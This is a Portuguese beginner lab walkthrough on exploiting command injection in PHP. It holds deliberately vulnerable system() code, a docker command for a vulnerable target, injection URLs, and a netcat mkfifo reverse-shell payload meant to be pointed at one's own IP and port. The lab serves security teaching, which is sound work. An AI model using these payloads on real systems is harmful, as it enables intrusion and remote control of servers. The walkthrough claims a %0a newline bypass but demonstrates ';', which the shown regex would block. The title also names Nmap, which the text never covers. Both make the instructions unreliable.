Compreenda e Explora Vulnerabilidades de Injeção de Comandos no Nmap

Beginner

Introdução

Neste laboratório, você aprenderá sobre vulnerabilidades de injeção de comandos (command injection), que são uma das vulnerabilidades mais comuns em aplicações web. O laboratório oferece uma experiência prática para entender os princípios das vulnerabilidades de injeção de comandos e suas técnicas de exploração. Através de dois exercícios práticos, você aprenderá como identificar e explorar vulnerabilidades de injeção de comandos, entender o uso de caracteres curinga (wildcard characters) para fechar comandos e explorar métodos para contornar filtros e escalar privilégios.

Este é um Lab Guiado, que fornece instruções passo a passo para ajudá-lo a aprender e praticar. Siga as instruções cuidadosamente para completar cada etapa e ganhar experiência prática. Dados históricos mostram que este é um laboratório de nível iniciante com uma taxa de conclusão de 100%. Recebeu uma taxa de avaliações positivas de 88% dos estudantes.

Compreendendo as Vulnerabilidades de Injeção de Comandos

Nesta etapa, vamos explorar os fundamentos das vulnerabilidades de injeção de comandos e como você pode explorá-las, tudo de forma simples e amigável para iniciantes.

Então, o que são vulnerabilidades de injeção de comandos? Elas ocorrem quando uma aplicação web não lida corretamente com a entrada do usuário e ela acaba sendo usada em comandos do sistema. Isso pode potencialmente permitir que um usuário mal-intencionado execute qualquer comando que deseje no servidor, com as mesmas permissões da aplicação web.

Vamos analisar um trecho de código PHP que possui essa vulnerabilidade:

<?php
$action = $_GET['cmd'];
echo "<pre>";
system($action);
echo "<pre/>";
?>

Neste código, a função system() é usada para executar um comando que vem do parâmetro cmd na URL. Um usuário mal-intencionado pode tirar proveito disso adicionando comandos prejudiciais no parâmetro cmd.

Para explorar com sucesso essa vulnerabilidade, você precisa saber como cancelar o comando original e adicionar mais comandos. Isso é feito usando separadores de comandos como ; (ponto e vírgula), && (AND lógico), | (pipe) ou || (OR lógico).

Explorando Vulnerabilidades de Injeção de Comandos

Bem-vindo à próxima etapa da nossa jornada! Agora, vamos colocar nosso conhecimento em prática e explorar uma vulnerabilidade de injeção de comandos em uma aplicação web.

Para começar, vamos configurar nosso ambiente de laboratório. Por favor, use o seguinte comando:

docker run -d -p 82:80 --name pentesterlab-WebforPentest-1 -it jewel591/vulnbox:pentesterlab-WebforPentest-1 /bin/sh -c 'service apache2 start && tail -f /var/log/apache2/error.log'

Vamos dar uma olhada no seguinte código PHP que possui essa vulnerabilidade:

<?php
if (!(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}$/m', $_GET['ip']))) {
    die("Invalid IP address");
}
system("ping -c 2 ".$_GET['ip']);
?>

Neste código, a entrada do usuário ($_GET['ip']) é verificada com uma expressão regular para garantir que esteja no formato de um endereço IP. Se a entrada for válida, a função system() executa o comando ping usando a entrada do usuário como um argumento.

Mas e se quisermos contornar esse filtro e injetar nossos próprios comandos? É aí que o caractere de nova linha %0a entra em ação. Ele é usado no formato codificado por URL.

Por exemplo, se você quiser executar o comando uname -a, você pode usar a seguinte URL:

http://127.0.0.1:82/commandexec/example1.php?ip=127.0.0.1;uname -a

O resultado se parecerá com o seguinte:

command injection result

Este truque inteligente contorna o filtro de endereço IP e executa o comando uname -a logo após o comando ping. É um exemplo prático de como o conhecimento pode ser usado para identificar e explorar vulnerabilidades. Vamos continuar nossa jornada de aprendizado!

Escalada de Privilégios e Exploração Adicional

Ótimo trabalho em chegar até aqui! Depois de explorar com sucesso uma vulnerabilidade de injeção de comandos, você pode aprimorar seu jogo. Você pode querer tentar a escalada de privilégios ou conduzir uma reconhecimento mais detalhado no sistema alvo.

Uma técnica popular é criar uma conexão de shell reverso. Isso lhe dá um shell interativo no sistema alvo, e você pode fazer isso usando ferramentas como netcat (nc) ou bash.

Aqui está um exemplo de como você pode estabelecer um shell reverso usando netcat (deve ser instalado na máquina alvo):

http://127.0.0.1:82/commandexec/example1.php?ip=127.0.0.1;mkfifo%20/tmp/f;cat%20/tmp/f|/bin/sh%20-i%202%3E%261|nc%20127.0.0.1%205555%20%3E/tmp/f

O resultado da execução do comando de shell reverso deve se parecer com o seguinte:

reverse shell

Basta substituir o segundo 127.0.0.1 e 5555 pelo endereço IP e número da porta que você deseja usar. É como preencher as lacunas!

Alternativamente, você também pode tentar encontrar arquivos sensíveis no sistema alvo. Isso pode lhe dar informações valiosas para futuras explorações ou escalada de privilégios. É um pouco como ser um detetive, mas no mundo digital!

Lembre-se, a prática leva à perfeição. Continue explorando e aprendendo, e você se tornará um profissional nisso em pouco tempo!

Resumo

Neste laboratório, você aprendeu sobre vulnerabilidades de injeção de comandos, que ocorrem quando a entrada do usuário é tratada de forma inadequada e passada para comandos do sistema em uma aplicação web. Você explorou como explorar essas vulnerabilidades injetando comandos maliciosos e fechando o comando original usando separadores como ;, &&, | e ||. Além disso, você praticou a contornar filtros usando técnicas como a codificação de caracteres de nova linha. Finalmente, você adquiriu uma compreensão dos possíveis próximos passos após explorar uma vulnerabilidade de injeção de comandos, como estabelecer um shell reverso ou enumerar arquivos sensíveis para exploração adicional ou escalada de privilégios.